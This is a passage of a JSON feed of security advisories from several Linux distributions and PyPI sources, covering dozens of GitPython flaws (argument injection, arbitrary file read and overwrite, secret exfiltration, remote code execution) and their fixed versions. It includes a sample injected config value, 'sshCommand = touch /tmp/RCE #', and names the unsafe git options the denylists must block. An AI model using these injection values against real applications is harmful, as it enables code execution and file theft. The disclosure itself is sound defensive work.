message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-05T15:04:04Z","modified":"2026-09-05T15:16:39.551481332Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3700","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-05T15:04:05Z","modified":"2026-09-05T15:16:39.553906143Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3721","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-14T16:33:43Z","modified":"2026-09-13T16:45:36.847407314Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"PYSEC-2026-3786","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T02:16:52.03Z","modified":"2026-09-03T11:00:04.961597508Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"CLSA-2026-1789368141","title":"TuxCare security update for gitpython (5 CVEs)","description":"TuxCare rebuilt gitpython to address 5 CVEs. Fixed in 3.1.31.post12+tuxcare.","status":"published","published":"2026-09-14T06:42:21Z","modified":"2026-10-15T09:48:01.707911221Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:11615-1","title":"python313-GitPython-3.1.59-3.1 on GA media","description":"These are all security issues fixed in the python313-GitPython-3.1.59-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-26T00:00:00Z","modified":"2026-08-27T11:01:52.167676294Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21874-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-67322: environment-variable exfiltration in `Repo.clone_from()` URL via os.path.expandvars() (bsc#1273357).\n- CVE-2026-67323: unguarded Git options passed as keyword arguments in `Repo.archive()` and `git.ls_remote()` allow\n  for command injection (bsc#1273358).\n- CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation\n  feature and allows for bypass (bsc#1273359).\n- CVE-2026-67326: failure to validate newline characters in the section parameter of `config_writer()` can lead to\n  RCE via `core.hooksPath` (bsc#1273364).\n- CVE-2026-69097: failure to properly escape section names in Git `config` files allows for injection of arbitrary\n  configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard Git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()`\n  and `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: failure to disable `merge_includes` when parsing `.gitmodules` can lead to discloseure of local file\n  contents when arbitrary file paths are included via `[include]` directives (bsc#1276434).\n- CVE-2026-78676: failure to safely re-serialize multi-line `git-config` values during write operations can corrupt\n  dormant quoted values into live injected directives (bsc#1276433).\n- CVE-2026-78677: omission of `--separate-git-dir` from `unsafe_git_clone_options` allows for creation of arbitrary git\n  directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: incomplete denylist in the `unsafe_git_revision_options` guard that omits `--contents` and `-S`\n  options allows for reading of arbitrary files when these options to are passed to `Repo.blame()` (bsc#1276431).\n- CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read\n  via `TagReference.create()` (bsc#1276430).\n- CVE-2026-87817: failure to properly validade the git directory location allows attackers to impersonate the git\n  directory using tracked files and execute arbitrary code by placing pre-commit hooks in the tracked hooks directory\n  (bsc#1279905).\n- CVE-2026-87818: failure to restrict the `--no-index` option in the high-level diff API allows attackers to read\n  arbitrary filesystem paths as repository operands and create content-dependent Boolean oracles (bsc#1279906).\n- CVE-2026-87819: quadratic backtracking in the `Actor.name_email_regex` regular expression allows attackers to cause\n  CPU exhaustion and a DoS via a commit with a malformed author field (bsc#1279907).\n- GitPython unsafe clone option gate bypass through joined short options (bsc#1273498).\n","status":"published","published":"2026-09-18T06:05:46Z","modified":"2026-09-25T18:23:10.581109055Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-CVE-2026-78676","title":"CVE-2026-78676 in GitPython - Patched by Root","description":"Root has patched CVE-2026-78676 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:05.026402179Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"ROOT-APP-PYPI-GHSA-9557-234j-7rv9","title":"GHSA-9557-234j-7rv9 in GitPython - Patched by Root","description":"Root has patched GHSA-9557-234j-7rv9 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:05.024698786Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"}]}}